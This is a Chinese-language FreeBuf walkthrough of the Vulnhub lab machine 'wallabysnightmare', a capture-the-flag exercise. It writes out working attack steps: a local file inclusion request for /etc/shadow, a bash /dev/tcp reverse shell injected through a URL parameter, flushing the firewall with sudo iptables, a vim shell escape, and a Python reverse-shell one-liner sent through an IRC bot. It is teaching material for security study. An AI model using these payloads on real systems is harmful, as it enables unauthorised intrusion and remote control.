freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Vulnhub] wallabysnightmare LFI+RCE+Irssi聊天服务RCE
2024-06-27 21:33:03

信息收集

Server IP AddressOpening Ports
192.168.8.105TCP:22,80,6667,60080

$ nmap -p- -sC -sV 192.168.8.105 --min-rate 1000 -Pn

image.png

基础Shell

image-1.png

http://192.168.8.105/?page=../../../../../etc/shadow

image-2.png

当再次尝试访问已经关闭

image-3.png

$ nmap -p- -sC -sV 192.168.8.105 --min-rate 1000 -Pn

开放端口60080

image-4.png

image-5.png

$ arjun -u http://192.168.8.105:60080

image-6.png

还是之前的page参数

$ dirb "http://192.168.8.105:60080/?page="

image-7.png

http://192.168.8.105:60080/?page=mailer

image-8.png

$ dirb "http://192.168.8.105:60080/?page=mailer&mail="

再次通过爆破,发现参数dir有变化

image-9.png

image-10.png

反弹shell

http://192.168.8.105:60080/?page=mailer&mail=%2fbin%2fbash+-c+%27bash+-i+%3E%26+%2fdev%2ftcp%2f192.168.8.107%2f10032+0%3E%261%27

image-11.png

Local.txt 截屏

image-16.png

Local.txt 内容

96e9dd72f028f2b2c894852ee056eb91

权限提升

清除防火墙规则

image-12.png

查看 IP 表规则

这里有两种方法
1.利用chisel端口转发绕过防火墙策略
2.直接关闭防火墙过滤规则

$ sudo /sbin/iptables -L

image-13.png

$ sudo /sbin/iptables --flush

重置规则

image-14.png

image-29.png

IRC 聊天&假冒用户waldo提升至Wallaby用户

使用irssi连接聊天服务

Irssi 是一个文本模式的 IRC(Internet Relay Chat)客户端程序,主要设计用来在命令行界面下进行 IRC 聊天。它是一个开源软件,支持多平台(如 Linux、Unix、Windows 等),并且提供了丰富的插件和脚本支持,使用户可以根据自己的需求进行定制和扩展。Irssi 主要用于在终端或者通过 SSH 连接的方式进行 IRC 聊天,适合那些喜欢命令行界面或者需要在服务器上进行 IRC 聊天的用户。

$ irssi -c 192.168.8.105

/list

列出聊天列表

image-17.png

/join #wallabyschat

加入频道

image-18.png

.run,要求我们必须是waldo

image-19.png

使用vim将身份切换到waldo

$ sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
:!bash

image-15.png

提升稳定的终端

image-20.png

有一个tmux会话连接到irc服务器

手动结束进程,冒充waldo进入聊天室

$ ps aux | grep tmux

image-21.png

$ pkill -9 tmux

终止所有关于tmux的进程

image-22.png

/nick waldo

替换昵称

image-23.png

.run python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.107",10033));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

image-24.png

image-25.png

同样ssh免密登录
image-27.png

Proof.txt 截屏

image-28.png

Proof.txt 内容

d41d8cd98f00b204e9800998ecf8427e

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录